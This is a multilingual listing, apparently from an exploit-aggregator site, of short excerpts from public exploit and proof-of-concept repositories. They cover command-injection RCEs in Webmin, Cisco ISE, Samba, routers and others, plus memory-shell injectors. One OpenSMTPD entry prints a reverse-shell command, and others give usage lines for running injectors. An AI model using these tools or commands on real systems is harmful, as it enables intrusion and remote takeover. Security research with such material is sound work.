GL.iNet-Multiple-Vulnerabilities

GL.iNet 다중 취약점 이 저장소는 다음 취약점들에 대한 익스플로잇을 포함합니다: CVE-2023-46454: GL.iNET GL-AR300M 라우터펌웨어 v4.3.7에서 패키지 정보 기능의 조작된 패키지 이름을 통해 임의의 셸 명령어를 주입할 수 있습니다. CVE-2023-46455: GL.iNET GL-AR300M 라우터펌웨어 v4.3.7에서 OpenVPN 클라이언트 파일 업로드 기능의 경로 순회 공격을 통해 임의의 파일을 작성할 수 있습니다. CVE-2023-46456: GL.iNET GL-AR300M 라우터펌웨어...

ForgottenButNotGone

잊혔지만 사라지지 않은 이 저장소에는 Black Hat USA 2026과 DEF CON 34에서 발표된 "잊혔지만 사라지지 않은: 레거시 Linux 서비스의 인증 없는 RCE 및 LPE" 프레젠테이션에서 소개된 취약점들에 대한 개념 증명PoC 스크립트가 포함되어 있습니다. CVE-2026-28372 TelnetD의 로컬 권한 상승: 권한이 없는 공격자는 TelnetD의 환경 변수 기능을 악용하여 루트 권한 셸을 획득할 수 있습니다. 설계상, 그리고 해당 RFC에 따르면 Telnet 프로토콜은 클라이언트가 셸 세션에 대한 환경...

vulnx

VulnX Vulnx 🕷️ — интеллектуальный бот для автоматического внедрения оболочек, обнаруживающий уязвимости в CMS различных типов...

CVE-2024-36401-WoodpeckerPlugin

CVE-2024-36401-WoodpeckerPlugin 소개 CVE-2024-36401 대량 탐지 및 익스플로잇, 사용자 정의 메모리 셸 인젝션 지원 1. 대량 탐지 가능 2. URL 주소 백엔드는 이미 필터링 처리됨 URL만 던져 넣으면 됨 3. 사용자 정의 메모리 셸을 생성하여 인젝션 가능 기본 메모리 셸 인젝션은 이미 인젝터 클래스명: java.lang.test 추가됨 「JDK11에서 defineAnonymousClass 우회 목적」 설치 소스 코드를 다운로드하여 실행 root@kitploit: mvn package...

CVE-2022-22947

CVE-2022-22947 内存马注入 支持注入三类内存马 root@kitploit: Usage: usage -t -u Options: -h, --help show this help message and exit -t TYPE switch one : spring, netty, godzilla -u URL url 以哥斯拉马注入为例 root@kitploit: python3 -t godzilla -u http://127.0.0.1 参考文章...

spring_cloud_gateway_memshell

CVE-2022-22947 memshell 이 스크립트는 완성되지 않았으며 학습용으로만 사용하십시오. 불법적인 사용은 금지합니다. c0ny1 고수의 블로그를 기반으로 만든 학습 스크립트로, netty 및 spring 메모리 셸을 주입할 수 있습니다. 테스트 환경은 vulhub입니다. root@kitploit: eg:xx.py http://127.0.0.1:8080 netty whoami...

CVE-2020-7247

CVE-2020-7247 この脆弱性は、OpenBSDのメールサーバOpenSMTPDの「smtpmailaddr」関数に存在し、OpenBSDバージョン6.6に影響を与えます。これにより、攻撃者はrootユーザーとして「sleep 66」などの任意のシェルコマンドを実行できます。 使い方 python3 getShell.py リバースシェルが必要な場合は、次のように実行します。 python3 getShell.py 'bash -c "exec bash -i & /dev/tcp/IP/PORT &1"' 重要 このエクスプロイト内のRCPT...

CVE-2025-20281-2-Cisco-ISE-RCE

CVE-2025-20281-2-Cisco-ISE-RCE Cisco ISE API에 대한 인증되지 않은 CVE-2025-20281 RCE Python PoC CVE-2025-20281 인증되지 않은 PoC Cisco ISE의 ERS API에서 인증되지 않은 RCECVE-2025-20281를 InternalUser 리소스에 임의의 셸 명령을 주입하여 악용하는 최소한의 Python 개념 증명입니다. 경고: 소유하거나 명시적 테스트 권한이 있는 시스템에서만 실행하세요. 이 도구의 오용은 불법입니다. 기능 인증 불필요 두 가지 모드 지...

CVE-2026-93012

Email::Sender::Transport::Sendmail versions before 2.602 for Perl allow arbitrary command execution on Windows sending a message whose envelope address reaches the shell in sendmailpipe. On MSWin32 the envelope sender and every recipient go into a single command string, which open passes to a...

poc-rebar3

Rebar3 셸 인젝션 CVE-2020-13802 개념 증명 root@kitploit: git clone https://github.com/vulnbe/poc-rebar3.git cd poc-rebar3 rebar3 clean 크레딧 Alexey Pronin @vulnbe 참고 자료 Rebar3 취약점 분석 취약점 수정 PR CVE-2020-13802 CWE-78: OS 명령에 사용되는 특수 요소의 부적절한 중화'OS 명령 인젝션'...

MetabaseRceTools

MetabaseRceTools CVE-2023-38646 Metabase RCE инструмент CVE-2023-38646 Графический инструмент для эксплуатации RCE Модуль проверки Введите указанный URL для получения неавторизованного токена Выполнение команд Этот модуль сначала требует выполнения модуля проверки для получения токена JarLocation...

CVE-2012-2982-Webmin-Exploit

Webmin 1.590 원격 명령 실행 익스플로잇 CVE-2012-2982 개요 이 저장소는 Webmin 버전 1.590 이하 에 영향을 미치는 인증된 원격 명령 실행 취약점인 CVE-2012-2982 에 대한 개념 증명PoC 익스플로잇을 포함합니다. 취약점은 /file/show.cgi 엔드포인트에 있으며, 공격자는 조작된 요청에 특수 문자예: | 파이프 기호를 주입하여 임의의 명령을 실행할 수 있습니다. 이 PoC는 교육 및 보안 연구 목적으로만 제공됩니다. 허가 없이 시스템을 악용하는 것은 불법이며 비윤리적입니다...

CVE-2026-34234-Lab

CVE-2026-34234 - CtrlPanel 설치 프로그램 RCE 실습 환경 CtrlPanel에서 CVE-2026-34234를 시연하기 위한 로컬 Docker 실습 환경입니다. 이 저장소는 다음을 비교합니다: vuln: 다이제스트로 고정된 CtrlPanel 1.1.1 patched: 다이제스트로 고정된 CtrlPanel 1.2.0 실습 환경은 로컬 전용이며 서비스를 127.0.0.1에 바인딩합니다. 요약 CVE-2026-34234는 CtrlPanel 웹 설치 프로그램의 인증되지 않은 RCE원격 코드 실행입니다. 이 문제는 ...

CVE-2020-35713

설명 Belkin LINKSYS RE6500 기기 1.0.012.001 이전 버전에서 원격 공격자가 goform/setSysAdm 페이지로 셸 메타 문자를 전송하여 임의 명령을 실행하거나 새 암호를 설정할 수 있습니다. 사용 방법 1단계: cve-2020-35713.py 파일에서 IP 주소를 대상 주소로 수정합니다. 2단계: cve-2020-35713.py를 실행하여 암호를 변경합니다. 3단계: 로그인 테스트...

CVE-2020-15778

CVE-2020-15778 소개 이 저장소는 CVE-2020-15778을 재현합니다. 단계 1. scp 서버 및 클라이언트용 도커 이미지 빌드 root@kitploit: cd client docker build -t client-cve . root@kitploit: cd server docker build -t server-cve . 2. 컨테이너에서 scp 서버 실행 root@kitploit: docker run -d -P --name scp-server server-cve 다음 명령어로 scp 서버의 내부 IP 주소를...

CVE-2020-16846-Saltstack-Salt-API

CVE-2020-16846-Saltstack-Salt-API 脆弱性の説明: SaltStack Salt 3002 以前で問題が発見されました。SSH クライアントが有効な状態で細工された Web リクエストを Salt API に送信すると、シェルインジェクションが発生する可能性があります。この脆弱性の詳細は、以下で確認できます: https://www.zerodayinitiative.com/blog/2020/11/24/detailing-saltstack-salt-command-injection-vulnerabilities...

CVE-2019-15107

서버 관리 도구 Webmin RCE 취약점CVE-2019-15107 요약 CVE-2019-15107는 Unix 시스템에서 사용되는 웹 기반 시스템 관리 도구 Webmin에 발생한 취약점이다. 해당 관리 도구의 기능 중 비밀번호를 변경하는 코드에서 특정 파라미터를 필터를 거치지 않고 바로 쉘 명령에 넘겨서 실행시키면서 임의의 코드를 실행Remote Code Execution, RCE할 수 있게 만든다. 환경 구성 및 취약 조건 Webmin 1.920 버전 혹은 1.920 이전 버전을 이용할 때 비밀번호를 변경하는...

CVE-2015-3306-Home-Lab

ProFTPD 1.3.5 modcopy — RCE 시뮬레이션 랩 이 랩은 CVE-2015-3306 — ProFTPD modcopy Remote File Copy to RCE 취약점을 시뮬레이션하도록 설계되었습니다. ProFTPD의 modcopy 모듈을 통한 웹 셸 삽입 RCEWeb Shell Injection RCE 학습에 사용됩니다. 기능 취약한Vulnerable ProFTPD 1.3.5 modcopy 완전 활성화 SITE CPFR / SITE CPTO 익명 FTPAnonymous FTP 지원 웹 루트 /var/www/htm...

CVE-2025-47227_CVE-2025-47228

ScriptCase - 사전 인증 원격 명령 실행 관리자 비밀번호 재설정인증 우회, CVE-2025-47227과 셸 인젝션인증된 원격 명령 실행, CVE-2025-47228 연결 사전 인증 원격 명령 실행은 두 가지 취약점을 연결하여 달성됩니다. 첫 번째는 특정 조건에서 프로덕션 콘솔의 관리자 비밀번호를 재설정할 수 있는 능력이고, 두 번째는 사용자 입력이 ssh 시스템 명령에 직접 연결되는 연결 기능에서의 간단한 인증된 원격 명령 실행입니다. 요구 사항 익스플로잇에 사용되는 타사 Python 의존성은 다음 명령 중 하나로 설...

CVE-2025-10230

CVE-2025-10230: Samba 치명적 RCE CVSS 10.0 취약점 요약 CVE-2025-10230은 13년 동안 Samba 코드베이스에 숨겨져 있던 치명적인 원격 코드 실행RCE 취약점입니다. 이 결함은 WINSWindows Internet Name Service 등록 패킷 처리에서 발생합니다. wins support = yes와 wins hook에 정의된 스크립트로 도메인 컨트롤러로 구성된 경우, Samba는 수신된 NetBIOS 이름을 정화하지 못합니다. 인증되지 않은 공격자는 셸 메타문자예: 명령어를 포함하는...